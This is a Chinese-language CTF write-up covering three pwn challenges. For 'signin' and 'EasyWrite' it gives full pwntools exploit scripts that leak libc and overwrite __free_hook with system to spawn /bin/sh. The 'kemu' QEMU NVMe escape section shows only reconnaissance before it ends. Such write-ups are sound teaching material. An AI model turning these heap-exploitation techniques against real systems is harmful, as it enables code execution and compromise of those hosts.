Signup

程序实现了一种vector的实现。程序在1,2,4,8,16...申请新的堆块,拷贝数据,并释放旧的堆块。但是在进行删除Delete函数的时候没有对边界进行判断,导致我们可以进行无限次释放,从而将vector->current指针指向已经释放的unsorted binfd,从而泄露出libc基址。

泄露出libc基址之后,我们可以直接利用指针越界覆写0x20大小的堆块的fd指针,利用第二个vector覆写free_hook,释放带有/bin/sh的堆块。

# encoding=utf-8
from pwn import *

file_path = "./signin"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x11d2)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

def add(index, number):
    p.sendlineafter(">>", "1")
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Number:", str(number))

def delete(index):
    p.sendlineafter(">>", "2")
    p.sendlineafter("Index:", str(index))

def show(index):
    p.sendlineafter(">>", "3")
    p.sendlineafter("Index:", str(index))

for i in range(int(0x800/8) + 1):
    add(1, 2)

for i in range(int(0x800/8)*2 + 2):
    delete(1)

show(1)
libc.address = int(p.recvline()) - 96 - 0x10 - libc.sym['__malloc_hook']

for i in range(int(0x860/8) + 1):
    delete(1)

gdb.attach(p, "b *$rebase(0x11d2)")
log.success("libc address {}".format(hex(libc.address)))
add(1, libc.sym['__free_hook']-0x8)
add(2, u64("/bin/sh\\\\x00"))
add(2, libc.sym['system'])

p.interactive()

EasyWrite

程序可以向任意地址写入堆的地址,之后释放了一个重新申请的0x40大小的堆块。这里主要的难点就是如何选取任意写的位置。从WP中我们知道,libc高地址处保存着一个tcache的指针。但是从源代码中看到tcache是一个全局变量,而从汇编代码中看到它保存在fs:[0xffffffffffffffb0]的位置,暂时不知道怎么查看这个值。猜测可能是fs在内存中的映射。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/6387716d-c2c1-43ce-abe7-a032c6cf8f91/Untitled.png

那么如果我们将tcache指向程序一开始分配的0x300大小的堆块,也就是说之后tcache的管理就从我们设置的堆块开始了,在其中伪造0x40大小堆块处的指针为free_hook-0x10,那么在之后就能够覆写free_hook,并在堆块的起始填入/bin/sh。释放该堆块即可getsell

# encoding=utf-8
from pwn import *

file_path = "./easywrite"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *$rebase(0x12c4)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

p.recvuntil("Here is your gift:")
libc.address = int(p.recvline().strip(b"\\\\n"), 16) - libc.sym['setbuf']
log.success("libc address {}".format(hex(libc.address)))

fake_tcache_pthread_struct = p32(0) + p32(0x1)
fake_tcache_pthread_struct += p64(0) * int((0x410-0x20 + 0x10)/(8 * 8) - 1)
fake_tcache_pthread_struct += p64(0)* 2 + p64(libc.sym['__free_hook'] - 0x10)
p.sendafter("message:", fake_tcache_pthread_struct)
p.sendafter("to write?:", p64(libc.address + 0x1f34f0))
p.sendafter("message?:", b"/bin/sh\\\\x00".ljust(0x10, b"\\\\x00") + p64(libc.sym['system']))

p.interactive()

kemu

qemu逃逸

没有符号表,首先我们看一下启动脚本

#!/bin/bash

pwd=`pwd`

#./qemu-system-x86_64 \\\\
timeout --foreground 600 ${pwd}/qemu-system-x86_64 \\\\
        -initrd ${pwd}/rootfs.img -nographic -kernel ${pwd}/kernel-guest \\\\
        -L ${pwd}/pc-bios -append "priority=low console=ttyS0 loglevel=3 kaslr" \\\\
        -drive file=${pwd}/nvme.raw,format=raw,if=none,id=Dxx -device nvme,drive=Dxx,serial=1234 \\\\
        -monitor /dev/null

可以看到这里直接加了nvmedevice。但是程序没有符号表,因此这里我们搜索一下字符串

char **__fastcall nvme_class_init(__int64 a1)
{
  _QWORD *v1; // rbx
  __int64 v2; // rax
  char **result; // rax

  v1 = (_QWORD *)sub_5C5EA0(a1, "device", "hw/block/nvme.c", 1363LL, "nvme_class_init");
  v2 = sub_5C5EA0(a1, "pci-device", "hw/block/nvme.c", 1364LL, "nvme_class_init");
  *(_DWORD *)(v2 + 208) = 0x58458086;
  *(_BYTE *)(v2 + 212) = 2;
  *(_QWORD *)(v2 + 176) = nvme_realize;
  *(_QWORD *)(v2 + 184) = nvme_exit;
  *(_WORD *)(v2 + 214) = 0x108;
  v1[12] |= 4uLL;
  v1[14] = "Non-Volatile Memory Express";
  v1[15] = &off_F326E0;
  result = &off_D749C0;
  v1[20] = &off_D749C0;
  return result;
}

我们看到0x584580860x108这两个字符串,也就是说这里的vendor_id0x8086deviceid就是0x5845,这里的0x108指的是设备的类型。我们看一下lspci

/home/pwn # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0108: 8086:5845
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

从这里的id我们可以看到是00:04.0这个设备,看一下resource

/home/pwn # cat /sys/devices/pci0000\\\\:00/0000\\\\:00\\\\:04.0/resource
0x00000000febf0000 0x00000000febf1fff 0x0000000000140204
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febf3000 0x00000000febf3fff 0x0000000000040200